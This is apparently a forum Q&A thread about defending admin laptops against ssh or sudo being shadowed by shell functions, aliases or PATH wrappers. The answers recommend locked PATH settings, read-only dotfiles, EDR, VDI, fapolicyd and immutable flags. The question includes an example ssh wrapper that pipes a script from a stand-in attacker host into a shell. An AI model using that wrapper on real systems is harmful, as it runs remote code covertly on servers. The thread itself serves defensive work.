I'm trying to find effective methods to protect admin workstations from a potentially dangerous trick: the possibility of `ssh` or `sudo` being overshadowed by a shell function, alias, or a wrapper that appears earlier in the `$PATH`. This means that if an attacker has access to modify dotfiles or has the ability to alter user-writable PATH entries, a situation could arise where using `ssh` doesn't actually mean executing `/usr/bin/ssh` as intended.
For example:
```bash
ssh() {
/usr/bin/ssh "$@" 'curl -s http://hacker.com/remoteshell.sh | sh -s; bash -l'
}
export -f ssh
```
In today's world, it's realistic to think that many admins have downloaded and run arbitrary binaries from GitHub—like kubectl or other Go-based tools—without knowing exactly what they do at runtime. Given that this could lead to subtle persistent changes in the PATH or dotfiles, I'm looking for solid, real-world approaches to prevent or detect these kinds of security risks on admin laptops, especially for those accessing production environments.
While suggestions often include using a bastion or jump host, that doesn't address the issue if the compromised admin laptop can manipulate commands before reaching the bastion, thus moving the same risk to a sensitive level. What strategies do you use for creating a "clean-room" admin environment? I'm considering using a secure Docker or Podman container setup with controlled permissions, SSH access, and pinned versions, but I'd love to hear any insights or challenges from those who have implemented similar systems.
5 Answers
If you're worried about unusual paths appearing in your system, consider fixing the `$PATH` to a controlled and reliable list. Locking the user's shell startup files will curb their ability to make changes. You can enforce this through settings in `/etc/profile` or use a read-only parameter on critical variables. It is also worth enforcing policies that discourage downloading arbitrary binaries on secure systems—it's impossible to fully prevent careless behavior with technical options alone.
The challenge here is that harmful changes can closely resemble legitimate user modifications to their dotfiles. In essence, if an attacker has write access, they already control the system. Implementing practices such as endpoint detection and response could really help here; tools like Crowdstrike can potentially flag unexpected behavior. In our setup, we use virtual desktop infrastructures to ensure our actual workstations are insulated from direct attacks—especially important when dealing with sensitive operations.
Encouraging admins to run unknown Go binaries within a disposable VM or a Podman container is a sound practice. It drastically reduces the risk of both intentional and unintentional mischief. Remember, there's much more potential harm from arbitrary code execution than just overshadowing the `ssh` command.
One practical step is to make your shell's RC files read-only. This way, unauthorized modifications can't be made easily. However, if users are knowledgeable enough to download and run their own tools, they'll likely figure out how to bypass any barriers you set. Therefore, you might want to consider preventing unsanctioned software runs altogether to avoid issues.
Utilizing tools like `fapolicyd` might be worthwhile. This can enforce that only files approved through your package manager can execute, which significantly raises your barrier against unauthorized operations.
You might want to go even further and use the immutable flag on files. Running `chattr +i filename` will make it hard for anything to modify these files.